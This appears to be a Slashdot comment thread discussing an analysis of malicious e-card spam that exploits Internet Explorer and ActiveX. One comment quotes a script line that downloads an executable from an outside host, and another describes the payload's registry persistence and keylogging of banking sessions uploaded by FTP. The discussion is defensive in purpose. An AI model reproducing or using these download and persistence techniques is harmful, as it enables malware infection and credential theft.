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Malicious E-Cards - An Analysis of Spam
smashr writes "I ran across this article the other day which is a rather clear analysis of a piece of malicious spam the author received. While most of us simply hit the delete key, the author has taken the time to see exactly what is going on when an innocent user clicks on one of these fake e-cards that are going around. From Russian spyware sites to over-writing wmplayer.exe this particular piece of spam is a rather nasty one."
This definitely could be a nasty little thing, thanks to poor security on remote executables. Wouldn't modification of default internet security settings go a long way to resolve this particular instance? Of course as a Mac user I don't have much to worry about with this.
Does anyone else think that our society is overdue on becoming fed up with all these sort of things?
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Mod me down, I'm already -1...woot!
Even if I knew that tomorrow the world would go to pieces, I would still plant my apple tree. -Martin Luther
This is a fascinating bit of detective work that should serve as a reminder to all careless users (especially Windows ones) that *SPAM IS NOT BENIGN*. It's not just annoying ads for penile implants--it can be downright dangerous to your PC.
Hi. I'm Troy McClure. You might remember me from such e-mail how-to videos as "Nigeria: Your Path to Riches" and "Can I Lengthen my Penis 73 inches if I answer 22 emails?"
Interesting take. I know my wife likes ecards because it is of course free which beats a card and stamp. She doesn't use them very often, except when she comes across a particularly funny or expressive one, and only when we forget to get a real card... :-)
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Mod me down...I'm already -1....woot!
Even if I knew that tomorrow the world would go to pieces, I would still plant my apple tree. -Martin Luther
I was having a discussion with a friend the other day about Outlook email virii, and I quite frankly wasn't sure anymore. If a windows box is completely updated, is it possible for an email to be able to unload/execute a virus without a user openning an attachment or clicking on an off-email link? Any examples?
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RumorsDaily
ActiveX actually lets a webpage rewrite your wmplayer.exe file with its own version. If an Activex control can rewrite any executable on a Windows box, then I assume that any piece of the Windows kernel is vulnerable. This leads to a larger question, which is, "Is there anybody that actually uses ActiveX on a webpage, and if not, why doesn't Microsoft completely eliminate ActiveX from Internet Explorer?".
What really annoys me about e-cards is that even the legitimate ones look like spam, so much so that not only does the spam filter flag them, but I have trouble deciding if someone is being nice to me or trying to exploit my system.
With regards to the article, thats definitly one of the nastiest browser exploits i've seen in a long time, makes me glad I don't use windows and IE.
Let's make a difference
While I commend the original article as an interesting dissection of an attempted attack via spam, the heading is a little sensational. It mentions Russian spyware sites, but the site in question is Spylog.com, a reputable Russian monitoring site. Not everything on the Russian internet is malicious, and Spylog does some good work on reporting statistics about the Russian internet.
Just a minor correction.
This story is presented as an example of the bad things that can happen from opening spam in Outlook ("If you're still using Outlook and Internet Explorer, this is a good time to find alternatives"). But the story doesn't point to any actual isssue with Outlook, only exploits in Explorer that allow downloaded code to be executed remotely. The Outlook bashing seems out of place.
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RumorsDaily
Does this stuff get treated like a virus/trojan, rather than legitimate business?
If that Osama Bin Laden AIM virus isn't a virus, then I don't know what is. Yet I don't see news stories about the FBI or SS arresting the people that wrote it, even though they are more or less out in the open.
It seems the rule lately is if you have a commercial intent, then it's OK for you to write viruses and trojans (like weatherbug).
People actually get pissed off when we tell them they can't have weatherbug on their computer.
I've had enough abrasive sigs. Kittens are cute and fuzzy.
That's the point! There's no "crapware" - it's a simple file overwrite! If you're running as Admin..., you won't notice at all - your media player will just suddenly stop working.
1. Clicking can be dangerous.
2. If an operating system is that badly designed so one can actually overwrite an executable only by visiting a web page, than it's time to change the security settings.
Bite my shiny metal... oops... Nevermind!
Win98 is supposed to be gone, or no longer supported.
Assuming that, and that your WinLusers are running current versions of Windows with actual security, and they're running as regular users, a web page CAN'T overwrite anything because regular users don't have write permissions in %systemroot% or in Program Files.
Problem solved. Without a script blocker or any other third-party garbage.
Use Evolution instead of Outlook? Bewa
It's an easy way to protect yourself from all sorts of stupid stuff.
Ahem, turn off HTML viewing in your email client NOW.
Here's what I do: Bitty Browser & Andromeda
This story is just more proof that people need to be proactive about their email and internet browsing habits. The biggest reason that so many people fall for this sort of crap is that they expect their computer to "Just Work", like their TV or microwave. It'd be nice if PCs DID Just Work, but unfortunately it's not the case. If more Windows users would just take the time to check out more secure browsers and email clients, and be more careful about which emails they open and attachments they download, spammers would have a much harder job. It sounds really obvious to anyone savvy enough to read Slashdot, but this really isn't something that occurs to 90% of the people who own a computer.
http://www.questionablecontent.net
You mean it could overwrite /usr/bin/xmms?
-- Real programmers don't comment their code. It was hard to write, it should be hard to understand.
I would love to eliminate it. To me, it's a complex engineering problem to get rid of it. The problem is presented as this:
- spam is cheap to produce
- a sucker is born every day
- even if 70% of the spam sent out doesn't get to it's destination, millions of messages will still be received
- spam filters are not installed on all mail servers
- spam is CHEAP to produce (again)
Cost is what stops junkmailers from filling postoffice mailboxes. Cost is the biggest barrier to preventing spam. It costs $0.20 to send a bulk mail item through the postoffice, it can get expensive if you want to send millions of junk mails.
How can email on the internet remain free/cheap and still not allow spam to run rampant?
http://github.com/gbook/nidb
Quote from that article:
Conclusion
If you're still using Outlook and Internet Explorer, this is a good time to find alternatives (I suggest FireFox and Thunderbird). Crackers and spammers are getting more and more sophisticated, and are finding ways to fool even experienced and skilled computer users.
Or alternatively,
you can use an HTML disabler like noHTML for Outlook Express
Massive by Design
This looks pretty ugly:
.. ever </Comic book guy>
x.Open("GET", "http://adversting.co.uk/a.exe",0);
and should never have been implemented in a browser. After all, it's not a browsers task to launch files. I remember thinking this back when Windows Explorer and Internet Explorer merged into one (you can actually type URLs in your windows explorer window). <Comic book guy> Worst idea
About a year ago, German email users have been spammed with similar e-cards, which claimed to need a special presentation plugin. The "plugin" actually dialed an expensive premium-rate service number. Despite thousands of victims complaining about high phone bills, it took about a year to stop this kind of fraud.
you must be new here.
CB
free ipod and free gmail!
I had FILEMON running (it monitors all disk i/o) and I navigated Mozilla to http://search.microsoft.com/ and entered a query in the second search textbox. Wscript.exe was fired up and it showed in FILEMON.
My solution: I renamed wscript.exe and cscript.exe so they can't execute.
Tell you what sparky -- YOU try that across a enterprise type installation. Actually there is ONE (1) remaining application running across any of my networks that requires Windows (2K) boxes to remain until something else is phased in: AUTOCAD.
Go ahead -- try to install and run AutoCAD (2004 release) with Architectural and Mechanical desktops loaded ... as a regular user. I'd love to see you get AEC content networked and working on a local machine as a regular user. Good luck.
Fortunately the engineering types are special. They've got TWO computers now. 90% of their work is done on CAD which is Windows right now -- the other 10% they tap the Mac for services (file processing, email, web, word, whatever).
Every other sub-system requiring Windows has been replaced (for us -- started in 2000) and I have to agree with you 100% otherwise: regular users have no reason to run anything as administrator or "root". Just can't do that in the Windows world...
Security through obscurity never works, but there is something to be said for security through diversity. It works because it lowers the "payoff" of writing worms, perhaps to the point where it's no longer worth the effort.
Without an exhaustive code analysis of Outlook I can't say for certain, but Outlook has a lot of code in it that dates back before malicious worms became a daily occurrence. Because of that, the code seems to have been written with other goals than security in mind.
I don't mean that to insult MS; it's only in the last five years or so that "absolutely MUST be secure" has been a real consideration for any vendor. Look at Windows 95's silly logon procedures. Before that, many features were added that were dangerous but, in Microsoft's opinion, useful. At least it made a spiffy demo to have systems administrators updating every desktop in the office just by sending email.
Firebird, etc. have been written in a rather more paranoid age. I'm certain that there are potentially disastrous bugs in it. In this case I have read the code, and I've found a lot of nice defensive programming, but that doesn't preclude mistakes that the authors, me, and a thousand others might all have missed.
Still, having be written for security from the ground up, with no silly code-executing features and strings all well protected from buffer overruns, I'm putting my faith in the ground-up rewrite that is Firebird/fox to Microsoft's apparently slapdash Outlook/IE combo.
Microsoft appears to be improving its code, not least because of the withering hail of worms thrown at it because it's the market leader and therefore has the biggest payoff. These days worms all seem to depend not on security holes but on user stupidity or user laziness. This particular article is pointing out a worm that propagates through well-known, and supposedly well-patched, techniques. But there are obviously people out there on whom it works.
Eventually, Microsoft will have to fix both user stupidity and user laziness in code. Eventually, any new program you receive is going to have to have a system administrator's explicit authorization to run or install itself for the first time. Even "sandboxed" environments like Java can't prevent a user from running an executable and doing at least limited damage. I suspect that someday, code will simply not be authorized to run at all without more than a mouse click between you and ruin.
And yet a person that has been surfing the web and using email for the past 6 or 7 years is still shocked when they click on Britney's Web Cam XXX HOT Pics and end up with a phone bill of $500 for dialing the Hot Russian Wives Club.
Go check it out. It's really, really, good, and free, as in, well, um, beer?
I have spent too many hours building elaborate rule sets, banning Class A IP's, keyword filters, etcetera. The spam still gets through and it carries nasty payload half the time. Bayesian...bayesian... bayesian...
Well ok; so it's not ALL bad then.
Paul Lenhart writes words!
Because Viruses can do better with some effort.
MSBlaster is still going around. My own average from installing a base WinXP (and forgetting the Blaster fix and other updates) is about two minutes to being infected with the Blaster worm. A friend's personal best was when he was plugging his laptop into the university's network for a bit. After sixteen (16) seconds, his machine had blaster installed and got the RPC to reboot!
E-mail just can't beat those times.
They are spam harvesters. Nothing more.
I go to great lengths to avoid having my email reach spammer lists. But it only takes one person to screw that email address by submitting it to an e-card spammer.
Do I need to attach a note to my emails?
What possesses people to do it?
Are they too busy to write me something personal? Do they feel they cannot express their greeting in words? Do they not understand how to attach images? Maybe they actually hate me...
Bastards.
Fire{WHATEVER_WEEK_THIS_IS} doesn'tt, so far as I know do this:That is, allow a script to create a new instance of the browser's internal engine, run an HTTP GET with it, and save the resulting datastream as an executable file.
No browser should ever have been written with the ability to do this, and worse yet, IE does it without a single warning to the user!
Go to web-site, get a new OS!
And to make it even more ridiculous, it's in a textarea that thanks to a Microsoft extension is not displayed! Did no one at Microsoft stop tho think that there's no good reason to have a hidden textarea (as opposed to a hidden input tag?
To the contrary, they considered it a positive feature! Why? Because Visual Basic "programers", a core Microsoft constituency -- I don't mean to be harsh, I'm largely self-taught myself, but it has to be said -- some Visual Basic programmers might well not be educated enough to save a key value in a hidden field (to present later to the server, essentially as a "cookie" with the lifetime of one form GET to POST cycle), and instead might save a whole freaking block of text. And so Microsoft accommodated the lowest common denominator of Frontpage wizard user turned self-styled "programmer".
Was no one thinking about security at Microsoft? My guess is this: all Microsoft was thinking of was that this would enable Visual Basic programmers to "leverage" the Microsoft browser to easily write all sorts of wonderful revenue-generating applications that as browser scripts would effectively run on servers and thus would never have to be sold to end-users, but instead rented over and over, guaranteeing customer lock-in for vendors and thus vendor (and customer) lock-in for Microsoft.
I mean, Christ. This is just a travesty, and open invitation to all sorts of mayhem. I knew Microsoft didn't give a rat's ass about security, bit I never knew javascript could be so bad.
I tested a bit of it against my standard Proxomitron filters, and I'm not sure that I'd have blocked it.
Except that this particular script stupidly hard-codes saving the executable to drive C:, and thanks to some Windows screw up when I was forced to re-install it, thankfully for the last six months, C was read-only on my PC, having been accidently assigned by Windows to my CD-ROM drive.
I'll switch my drive assignment back today, and make C my CD-ROM (and that's security through obscurity) once again.
What the hell?
Opinions on the Twiddler2 hand-held keyboard?
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I have been putting my spam with full headers here, and hope that people investigating can use the info in the headers like IP addresses, gateways, aliases etc. As it is cached in Google so the results should show up for specific keywords.
If you are spam hunters, please be my guest and fry some spammers a***
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To see a world in a grain of sand, and then to step back and see the beach where the sand lies
You could just simply not view messages from people you don't know. This would solve the majority of problems. I mean if I don't know you, I don't read mail from you, I mean their are times when I take the chance, but lets face it, how often do random people email your personal account? And if your talking a webmaster or sales account, then yes, turn off html, or have your IT guy set up your securities properly.
Anonymous Cowards - Oh God, How I hate you
Remember Pivx Labs, the folks that used to host the "21 unpatched vulnerabilities in IE" page and has since switched to being a slight MS apologist? They've got a nice product which is (currently) free. What they basically did was to tighten down Windows via things from standard settings to registry tweaks to a degree which most users won't notice. Several of the recently discovered IE vulnerabilities wouldn't have worked, and Blaster wouldn't have worked either under these settings.
After trying it on my workstation for a couple of weeks, I've started deploying it to others. It seems to interfere with Norton Antivirus, though not McAffee (which is what UMBC machines should be using anyway).
I also send out the desktops with Mozilla, Media Player Classic, RealAlternative, etc. If people want IM, I try to recommend GAIM. Open source apps tend to have been "written in a more paranoid age" as another poster put it, and also can't as easily get away with doing dumb crap. I also remove the IE and Outlook shortcuts from the desktop (but leave the IE shortcut in the start menu, because the eternally pending PeopleSoft requires it).
WMBC freeform/independent online radio.
Here's a honeypot idea: use the "spy.htm" code to add a machine to the attacker's "spy" log, then wait....
I don't think they want to make substantial changes. It's convenient for the user having everything on by default, new users having admin priviledges, and so on. Microsoft employs some very smart people. If the company was serious about good security, they could have changed things.
...that Microsoft really would like to change it. They're not exactly too happy about their reputation for spam etc. Then real issue is that consumers don't want security - oh they say they do but they don't. They just want to have their cake and eat it too.
But that would make everything harder for the end user. MS made a conscious decision against that. The statements about being really serious about security now which come up now and then are just cheap talk.
Users expect being able to double-click a file and have an application run or install itself - yet they would like it not to happen when they do the exact same with a virus/trojan. They would like all their favorite programs to be allowed access the internet - and for all spyware/trojans to be blocked automatically. They would like for their files to be private - but not the hassle of identifying to the computer.
It's as if they expect the computer to be a fucking telepath with a mind-boggling good AI. The real truth is that most people don't understand a computer worth shit. Sec-uh-rity even less.
They're like a kid with a full chemistry set. They'll play around with it, and most of the time it's cool. Then they manage to make something toxic or explosive or worse, but somehow that's the chemistry set's fault and it simply shouldn't allow you to make anything dangerous.
But try suggesting to them up front that they should get a "Chemistry kit for Kids" or "Chemistry kit for dummies" where it's reaaaally hard to screw up and they'll complain their wits out that it doesn't do what they want and that they're ready for the real deal and that they know what they're doing.
So what do you do when grown men want to buy the full kit, even when you know it'll blow up in their faces? Refuse to sell it to them? Require a "driver's licence" of sorts? Don't tell me it'll all be better with Linux. Right now it's so hard, they won't use it at all, but by the time it gets easy enough that you expect everyone to manage their own desktop (as opposed to now, where you mostly need the local Linux guru), they will screw up their machines just as badly.
Kjella
Live today, because you never know what tomorrow brings
The only real "exploit" here is the activeX installer. Most email clients render plain-text URLs clickable anyway.
.exe but think activeX, expecially when its "signed," means that its safe.
There's a reason why this stuff is written with activex controls - they look official like they're from the operating system. Disable activex and watch the spyware go away. It seems most people know not to download an
Was the (Cough) "new feature" originally only intended for internal use (where they know how really risky using their own products can be), or is Regedit going to replace menus in future versions of Windows?
I'm amazed that no-one has yet posted an analysis of the final payload 'a.exe'.
This decompresses and drops 'ra32.exe', 'lanext.dll' and 'lanman.dll' into the Application Data\Microsoft folder, and sets ra32.exe to run on startup through a HKCU\Software\MS\Win\CV\Run registry entry.
These files act as a keylogger. When they sees one of a built-in list of online bank sites being used, it logs keypresses for a bit and uploads the result via FTP to a server controlled by the attacker.
Bizarrely, for me in Windows 2000, it also opens an alert box with the message 'timediff' every 60 seconds. Bug?